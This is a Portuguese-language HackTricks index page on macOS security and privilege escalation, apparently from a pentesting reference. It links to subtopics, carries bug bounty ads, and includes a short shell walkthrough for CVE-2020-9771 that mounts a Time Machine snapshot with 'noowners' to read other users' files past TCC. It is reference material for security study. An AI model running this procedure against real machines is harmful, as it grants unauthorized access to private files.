hacktricks/macos-hardening/macos-security-and-privilege-escalation/README.md

11 KiB

Segurança e Escalada de Privilégios no macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se a lenda do hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

MacOS Básico

Se você não está familiarizado com o macOS, você deve começar aprendendo o básico do macOS:

  • Arquivos e permissões especiais do macOS:

{% content-ref url="macos-files-folders-and-binaries/" %} macos-files-folders-and-binaries {% endcontent-ref %}

  • Usuários comuns do macOS

{% content-ref url="macos-users.md" %} macos-users.md {% endcontent-ref %}

  • AppleFS

{% content-ref url="macos-applefs.md" %} macos-applefs.md {% endcontent-ref %}

  • A arquitetura do kernel

{% content-ref url="mac-os-architecture/" %} mac-os-architecture {% endcontent-ref %}

  • Serviços e protocolos de rede comuns do macOS

{% content-ref url="macos-protocols.md" %} macos-protocols.md {% endcontent-ref %}

MacOS MDM

Nas empresas, os sistemas macOS provavelmente serão gerenciados com um MDM. Portanto, do ponto de vista de um atacante, é interessante saber como isso funciona:

{% content-ref url="../macos-red-teaming/macos-mdm/" %} macos-mdm {% endcontent-ref %}

MacOS - Inspeção, Depuração e Fuzzing

{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %} macos-apps-inspecting-debugging-and-fuzzing {% endcontent-ref %}

Proteções de Segurança do MacOS

{% content-ref url="macos-security-protections/" %} macos-security-protections {% endcontent-ref %}

Superfície de Ataque

Permissões de Arquivo

Se um processo em execução como root escrever um arquivo que pode ser controlado por um usuário, o usuário pode abusar disso para elevar privilégios.
Isso pode ocorrer nas seguintes situações:

  • O arquivo usado já foi criado por um usuário (pertence ao usuário)
  • O arquivo usado é gravável pelo usuário por causa de um grupo
  • O arquivo usado está dentro de um diretório de propriedade do usuário (o usuário pode criar o arquivo)
  • O arquivo usado está dentro de um diretório de propriedade do root, mas o usuário tem acesso de gravação sobre ele por causa de um grupo (o usuário pode criar o arquivo)

Ser capaz de criar um arquivo que será usado pelo root, permite que um usuário aproveite seu conteúdo ou até mesmo crie symlinks/hardlinks para apontá-lo para outro lugar.

Para esse tipo de vulnerabilidade, não se esqueça de verificar instaladores .pkg vulneráveis:

{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %} macos-installers-abuse.md {% endcontent-ref %}

Abuso de Privilégios e Entitlements por meio de abuso de processo

Se um processo pode injetar código em outro processo com privilégios ou entitlements melhores ou contatá-lo para realizar ações com privilégios, ele pode elevar privilégios e contornar medidas defensivas como Sandbox ou TCC.

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Manipuladores de aplicativos de extensão de arquivo e esquema de URL

Aplicativos estranhos registrados por extensões de arquivo podem ser abusados e diferentes aplicativos podem ser registrados para abrir protocolos específicos.

{% content-ref url="macos-file-extension-apps.md" %} macos-file-extension-apps.md {% endcontent-ref %}

Escalada de privilégios no MacOS

CVE-2020-9771 - bypass do TCC do mount_apfs e escalada de privilégios

Qualquer usuário (mesmo os não privilegiados) pode criar e montar um snapshot do time machine e acessar TODOS os arquivos desse snapshot.
O único privilégio necessário é para o aplicativo usado (como Terminal) ter Acesso Total ao Disco (FDA) (kTCCServiceSystemPolicyAllfiles), que precisa ser concedido por um administrador.

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

Uma explicação mais detalhada pode ser encontrada no relatório original.

Informações Sensíveis

{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}

Linux Privesc

Antes de tudo, observe que a maioria dos truques de escalonamento de privilégios que afetam o Linux/Unix também afetarão as máquinas MacOS. Portanto, veja:

{% content-ref url="../../linux-hardening/privilege-escalation/" %} privilege-escalation {% endcontent-ref %}

Aplicativos de Defesa para MacOS

Referências

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se a lenda do hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥